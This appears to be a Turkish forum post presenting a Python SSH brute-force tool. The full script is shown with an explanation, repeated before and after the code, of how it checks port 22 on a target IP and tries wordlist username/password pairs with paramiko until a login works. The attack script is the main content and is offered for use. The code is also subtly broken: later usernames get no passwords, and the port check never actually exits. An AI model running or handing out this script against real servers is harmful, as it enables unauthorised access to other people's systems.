Selamun Aleyküm bugün python ile yazdığım ssh brute force aracından bahsedeceğim.
Kodu Açıklayalım ;
Kütüphane İçe Aktarma ve Giriş Alma :
İlk olarak, socket,threading, paramiko kütüphaneleri ile colorama modülünü içe aktarıyoruz.
Ardından kullanıcıdan hedef IP adresini ve SSH bağlantısı için kullanılacak port numarasını tanımlıyoruz.
Port Tarama Fonksiyonu :
port_tara adında bir fonksiyon tanımlıyoruz. Bu fonksiyon, belirtilen IP adresinde belirtilen portun açık olup olmadığını kontrol eder.
socket.connect_ex() yöntemi kullanılarak bağlantı kontrol edilir.
Bağlantı başarılıysa, portun açık olduğunu bildiren bir mesaj görüntülenir. Aksi takdirde, portun kapalı olduğu belirtilir ve program sonlandırılır.
SSH Kaba Kuvvet Saldırısı Fonksiyonu :
ssh_brute adında bir fonksiyon tanımlıyoruz. Bu fonksiyon, SSH kaba kuvvet saldırısı gerçekleştirir.
Kullanıcı adı ve şifre wordlist'leri kullanılarak tüm kombinasyonlar denenecek. Her bir kombinasyon için paramiko kütüphanesi kullanılarak SSH bağlantısı denenir. Bağlantı başarılı ise doğru kullanıcı adı ve şifre bulunduğunu bildiren bir mesaj görüntülenir.
Github Bağlantıları
Lütfen unutmayın. SSH sunucusu barındıran çoğu kuruluş, bu betiğin herhangi bir şekilde kullanılmasını önlemek için korumaya sahip olacaktır.
Tekrardan görüşmek üzere.
Python:
#Coded By Ramo
import socket
from colorama import Fore
import paramiko
import threading
ip = input("Hedef IP adresini giriniz: ")
port = 22
def port_tara(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1.25)
bağlantı = s.connect_ex((ip, port))
if bağlantı == 0:
print(Fore.GREEN + "{} [√] portu açık Lütfen Bekleyin...".format(port))
else:
print(Fore.RED + "{} [×] portu kapalı. Tool'dan çıkılıyor...".format(port))
usernamelist = input("SSH kullanıcı adı wordlistini giriniz: ")
passwordlist = input("SSH şifre wordlistini giriniz: ")
def ssh_brute():
with open(usernamelist, 'r') as users:
with open(passwordlist, 'r') as passwords:
for username in users:
username = username.strip()
for password in passwords:
password = password.strip()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=ip, port=port, username=username, password=password)
print(Fore.GREEN + "[✓] Başarılı. Şifre ve Kullanıcı adı Bulundu ", "Kullanıcı Adı:", username, "Şifre:", password)
ssh.close()
return
except paramiko.AuthenticationException:
print(Fore.RED + "[×] Başarısız Kullanıcı adı ve Şifre Bulunamadı")
except paramiko.SSHException as e:
print(Fore.RED + f"[×] SSH bağlantı hatası: {e}")[/B]
port_tara(ip, port)
attack = threading.Thread(target=ssh_brute)
attack.start()
Kodu Açıklayalım ;
Kütüphane İçe Aktarma ve Giriş Alma :
İlk olarak, socket,threading, paramiko kütüphaneleri ile colorama modülünü içe aktarıyoruz.
Ardından kullanıcıdan hedef IP adresini ve SSH bağlantısı için kullanılacak port numarasını tanımlıyoruz.
Port Tarama Fonksiyonu :
port_tara adında bir fonksiyon tanımlıyoruz. Bu fonksiyon, belirtilen IP adresinde belirtilen portun açık olup olmadığını kontrol eder.
socket.connect_ex() yöntemi kullanılarak bağlantı kontrol edilir.
Bağlantı başarılıysa, portun açık olduğunu bildiren bir mesaj görüntülenir. Aksi takdirde, portun kapalı olduğu belirtilir ve program sonlandırılır.
SSH Kaba Kuvvet Saldırısı Fonksiyonu :
ssh_brute adında bir fonksiyon tanımlıyoruz. Bu fonksiyon, SSH kaba kuvvet saldırısı gerçekleştirir.
Kullanıcı adı ve şifre wordlist'leri kullanılarak tüm kombinasyonlar denenecek. Her bir kombinasyon için paramiko kütüphanesi kullanılarak SSH bağlantısı denenir. Bağlantı başarılı ise doğru kullanıcı adı ve şifre bulunduğunu bildiren bir mesaj görüntülenir.
Github Bağlantıları
Lütfen unutmayın. SSH sunucusu barındıran çoğu kuruluş, bu betiğin herhangi bir şekilde kullanılmasını önlemek için korumaya sahip olacaktır.
Tekrardan görüşmek üzere.
Son düzenleme: